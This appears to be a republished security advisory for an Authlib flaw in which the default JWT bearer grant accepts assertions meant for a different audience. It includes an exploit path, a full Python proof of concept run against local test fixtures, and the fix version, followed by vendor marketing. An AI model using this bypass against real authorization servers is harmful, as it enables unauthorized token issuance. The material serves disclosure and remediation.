Summary
Authlib: Default JWT bearer grant accepts assertions for the wrong audience
Description
Authlib's default RFC 7523 JWT bearer grant leaves get_audiences() empty, so verify_claims() only checks that an aud claim exists instead of requiring it to match the current authorization server's token endpoint. An attacker holding a legitimately issued JWT assertion for any audience can present it to a different authorization server sharing the same signing key and obtain an access token.
To be completely transparent, AI tools helped surface it. However, we have independently reproduced and carefully validated the issue. We follow responsible disclosure practices and are sharing this privately.
Affected Entrypoints
authlib.oauth2.rfc7523.JWTBearerGrant, defaultget_audiences()returns empty listauthlib.jose.jwt.decode()withclaims_optionsfor audience validationauthlib.integrations.flask_oauth2.ResourceProtector.validate_request()when audience checking is enabled
Exploit Path
1. Attacker authenticates to Service A (low-privilege)
2. Authorization server issues JWT with "aud": "https://evil.test/token"
3. Attacker presents this assertion to Service B's token endpoint
4. Service B uses default JWTBearerGrant (get_audiences() = [])
5. verify_claims() only checks aud *exists*, not its value
6. Service B issues an access token, audience bypass achieved
Proof of Concept
#!/usr/bin/env python3
"""
Demonstrates that the default JWTBearerGrant accepts JWT assertions
whose audience does not match the token endpoint, while a strict
audience override correctly rejects them.
"""
import json
import os
import sys
from joserfc.jwk import KeySet, OctKey
WRONG_AUDIENCE = "https://evil.test/token"
EXPECTED_AUDIENCE = "https://provider.test/token"
GRANT_TYPE = "urn:ietf:params:oauth:grant-type:jwt-bearer"
def build_and_exercise(strict_audience: bool) -> tuple[int, dict]:
from authlib.oauth2.rfc7523 import JWTBearerGrant as BaseJWTBearerGrant
# Uses Authlib's own Flask test fixtures
from tests.flask.test_oauth2.models import Client, User, db
from tests.flask.test_oauth2.oauth2_server import (
create_authorization_server, create_flask_app,
)
class JWTBearerGrant(BaseJWTBearerGrant):
def resolve_issuer_client(self, issuer):
return Client.query.filter_by(client_id=issuer).first()
def resolve_client_public_key(self, client):
return KeySet([
OctKey.import_key("foo", {"kid": "1"}),
OctKey.import_key("bar", {"kid": "2"}),
])
def authenticate_user(self, subject):
return None
def has_granted_permission(self, client, user):
return True
# Only override get_audiences when testing strict mode
if strict_audience:
def get_audiences(self):
return [EXPECTED_AUDIENCE]
app = create_flask_app()
os.environ["AUTHLIB_INSECURE_TRANSPORT"] = "true"
with app.app_context():
db.init_app(app)
db.create_all()
user = User(username="demo-user")
db.session.add(user)
db.session.commit()
client = Client(
user_id=user.id,
client_id="client-id",
client_secret="client-secret",
)
client.set_client_metadata({
"scope": "profile",
"redirect_uris": ["https://client.test/authorized"],
"grant_types": [GRANT_TYPE],
})
db.session.add(client)
db.session.commit()
server = create_authorization_server(app)
server.register_grant(JWTBearerGrant)
# Sign assertion with WRONG audience
assertion = JWTBearerGrant.sign(
"foo",
issuer="client-id",
audience=WRONG_AUDIENCE, # <-- Not the expected audience
subject=None,
header={"alg": "HS256", "kid": "1"},
)
rv = app.test_client().post(
"/oauth/token",
data={"grant_type": GRANT_TYPE, "assertion": assertion},
)
body = json.loads(rv.data)
db.session.remove()
db.drop_all()
return rv.status_code, body
def main() -> int:
# Test 1: Default grant (no audience enforcement)
vuln_status, vuln_body = build_and_exercise(strict_audience=False)
# Test 2: Strict audience grant (correct behavior)
strict_status, strict_body = build_and_exercise(strict_audience=True)
result = {
"wrong_audience": WRONG_AUDIENCE,
"expected_audience": EXPECTED_AUDIENCE,
"vulnerable_status": vuln_status,
"vulnerable_body": vuln_body,
"strict_status": strict_status,
"strict_body": strict_body,
}
print(json.dumps(result, indent=2, sort_keys=True))
if (
vuln_status == 200
and "access_token" in vuln_body
and strict_body.get("error") == "invalid_grant"
):
print(
"POC_SUCCESS: default JWTBearerGrant issued an access token for "
"an assertion whose aud did not match the token endpoint, while "
"strict audience validation rejected the same assertion."
)
return 0
print("POC_FAILURE: expected token issuance under default grant "
"and invalid_grant under strict audience control.")
return 1
if __name__ == "__main__":
raise SystemExit(main())
Observed Result
- Default grant (vulnerable): HTTP 200,
access_tokenissued despiteaud: "https://evil.test/token" - Strict grant (fixed): HTTP 400,
error: "invalid_grant", correctly rejects mismatched audience - Confirms the default
get_audiences()returns empty, so audience validation is effectively skipped
Credit
Reported by a security research team from the University of Sydney, focusing on detecting open source software vulnerabilities.
Liyi Zhou: https://lzhou1110.github.io/
Ziyue Wang: https://zyy0530.github.io/
Strick: https://str1ckl4nd.github.io/
Maurice: https://maurice.busystar.org/
Chenchen Yu: https://7thparkk.github.io/
Impact
- Vulnerability Type: CWE-287, Improper Authentication
- An attacker with a valid JWT assertion for any service can use it to obtain tokens from a different service sharing the same signing keys
- Particularly dangerous in microservice architectures where services share identity infrastructure
- Enables unauthorized access escalation across trust boundaries
- The vulnerability is in the default behavior, most integrations won't override
get_audiences()
The application does not adequately verify the identity of a user, device, or process before granting access. Typical impact: unauthorized access to functions or data reserved for authenticated parties.
CVE-2026-114618 has a CVSS score of 6.8 (Medium). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.9.0); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-114618? CVE-2026-114618 is a medium-severity improper authentication vulnerability in authlib (pip), affecting versions < 1.9.0. It is fixed in 1.9.0. The application does not adequately verify the identity of a user, device, or process before granting access.
- How severe is CVE-2026-114618? CVE-2026-114618 has a CVSS score of 6.8 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of authlib are affected by CVE-2026-114618? authlib (pip) versions < 1.9.0 is affected.
- Is there a fix for CVE-2026-114618? Yes. CVE-2026-114618 is fixed in 1.9.0. Upgrade to this version or later.
- Is CVE-2026-114618 exploitable, and should I be worried? Whether CVE-2026-114618 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-114618 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-114618? Upgrade
authlibto 1.9.0 or later.